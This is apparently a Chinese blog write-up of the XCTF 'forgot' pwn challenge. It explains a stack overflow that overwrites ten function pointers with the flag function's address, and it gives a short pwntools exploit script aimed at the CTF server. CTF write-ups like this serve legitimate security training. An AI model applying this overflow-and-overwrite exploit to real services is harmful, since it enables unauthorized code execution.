攻防世界(Pwn) forgot—栈溢出;(方法一) 里面对问题描述的更详细一点

返回目标函数

0x80486CC

方法二(爆破流)

因为最终返回的是 v3[0]-v3[9] 之中的一个函数,

v3[--v5] v5的值随着for循环 会发生改变

v2输入是溢出点


v2,v3两组数据在栈上是相邻的, v2的长度大于 20h之后就会覆盖v3的返回值了

干脆把v3[0]-v3[9]函数全部改为目标函数的地址就可以了:0x80486CC

此时无论v5等于什么,我们都会得到目标 flag

EXP

from pwn import  *
io = remote('111.200.241.244', 59837)
payload = 'H'*0x20 + p32(0x80486cc)*10
io.sendlineafter(">","hhh")
io.sendlineafter(">",payload)
io.interactive()

有问题欢迎留言❄

攻防世界(Pwn) forgot---栈溢出;(方法二)相关推荐

  1. [攻防世界 pwn]——forgot

    [攻防世界 pwn]--forgot 题目地址: https://adworld.xctf.org.cn/ 题目: 在checksec看下保护 在IDA中, 竟然有后面函数, 找到sub_80486C ...

  2. 攻防世界 pwn forgot

    下面记录一下我在做攻防世界的pwn练习题中的forgot题目的过程,这个题目现在还是有些疑惑的 首先我们看一下题目的安全机制: 然后IDA看一下主函数: int __cdecl main() {siz ...

  3. 攻防世界(Pwn)dice_game, 栈溢出覆盖srand种子

    说明 这其实是一种类型题,新手刚开始会碰到,题目大致过程是 有个srand()的随机函数.需要覆盖 seed种子 即srand(seed) 把 seed 覆盖为一个固定的数 , srand 就是伪随机 ...

  4. 攻防世界pwn——forgot

    分析 checksec IDA 直接搜flag找到sub_80486CC,有system,这肯定是我们要调用的函数了,函数地址0x080486CC int sub_80486CC() {char s[ ...

  5. 攻防世界(Pwn) forgot---栈溢出;(方法一)

    攻防世界(Pwn) forgot-栈溢出:(方法二) 介绍 这道题表面看起来有点复杂,其实很简单,有两种方法可以来做这一道题; 方法一(精确打击) 文件运行流程是: 1.先输入名字 2. 输入一串字符 ...

  6. 攻防世界 Pwn 进阶 第一页

    00 要把它跟之前新手区的放在一起总结,先稍稍回顾一下新手区. 攻防世界 Pwn 新手 1.栈溢出,从简单到难,开始有后门函数,到需要自己写函数参数,到最后的ret2libc. 常见漏洞点有read( ...

  7. [攻防世界 pwn]——pwn1(内涵peak小知识)

    [攻防世界 pwn]--pwn1 题目地址:https://adworld.xctf.org.cn/ 题目: peak小知识 这道题目的关键就是泄露canary,通常我们泄露canary有两种方法,遇 ...

  8. [攻防世界 pwn]——Mary_Morton

    [攻防世界 pwn]--Mary_Morton 题目地址: https://adworld.xctf.org.cn/ 题目: checksec看下,64位还开启了NX和canary保护.(一般开启ca ...

  9. 攻防世界 Pwn 进阶 第二页

    00 这文章更重要的是对这些题进行一个总结,说一些值得注意的地方,写一些自己的理解. 为了形成一个体系,想将前面学过的一些东西都拉来放在一起总结总结,方便学习,方便记忆. 攻防世界 Pwn 新手 攻防 ...

最新文章

  1. web开发的一些心得
  2. 深度学习(六)caffe入门学习
  3. redis雪崩解决方案
  4. IOS开发之表视图(UITableView)
  5. 腾讯GaiaStack容器平台负责人罗韩梅:All on GaiaStack
  6. postman 使用_Postman使用方法
  7. 用EasyPoi导入Excel
  8. web前端三大主流框架
  9. ZEMAX | 如何进行序列模式公差分
  10. windows2012运行linux,在 Windows Server 2012 R2 Hyper-V 上提供 Linux 支持
  11. Python数据结构与算法题目 打印二叉树的左视图 打印二叉树的右视图 树的左视图 树的右视图
  12. 自定义右键的打开方式
  13. windows phone 数字拼图小游戏
  14. Mysql 常用 时间函数
  15. 彩信SMIL文件学习
  16. password has expired问题
  17. 连续非线性系统线性化理论
  18. 同样诞生于顶尖大学,一个市值千亿,一个曾经仅次腾讯百度,如今却。。。...
  19. C语言刷题(9):判断一个数是否为质数(素数)
  20. LCG(linear congruential generator)伪随机数生成器

热门文章

  1. P2017 [USACO09DEC]晕牛Dizzy Cows
  2. Ooui:在浏览器中运行.NET应用
  3. 在命令窗口执行java文件时,提示找不到或无法加载主类
  4. python类继承的重写和super
  5. js 获取中文的拼音
  6. 容器生态系统 (续) - 每天5分钟玩转容器技术(3)
  7. Java虚拟机的功能
  8. 什么是Memcache
  9. Samrty技术的 初步了解
  10. 提高你的Java代码质量吧:少用静态导入